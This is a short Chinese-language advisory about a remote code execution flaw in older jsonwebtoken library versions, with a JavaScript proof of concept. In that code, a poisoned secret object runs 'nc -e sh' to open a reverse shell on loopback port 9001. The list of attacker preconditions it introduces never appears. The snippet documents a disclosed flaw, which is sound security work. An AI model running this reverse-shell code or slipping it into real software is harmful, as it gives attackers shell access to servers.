3.4.6、4.0.4 和 4.1.5 之前的 JSON Web Token (JWT) 库版本存在 RCE 漏洞。
HMAC 哈希函数接受任意字符串作为输入,从而导致 RCE。
由于前提条件,该漏洞不太可能被利用。
要利用此漏洞,攻击者需要满足以下条件之一:
var jwt = require('jsonwebtoken');
var token = jwt.sign({"x":"y"}, 'servers_secret');
var poisoned_secret_on_server = {
toString : ()=> {console.log('PWNED AFTER PASRSING TOKEN');
process.on('exit', ()=> {
require('child_process').exec('nc -e sh 127.0.0.1 9001');
});
process.exit(0)
}
}
jwt.verify(token, poisoned_secret_on_server);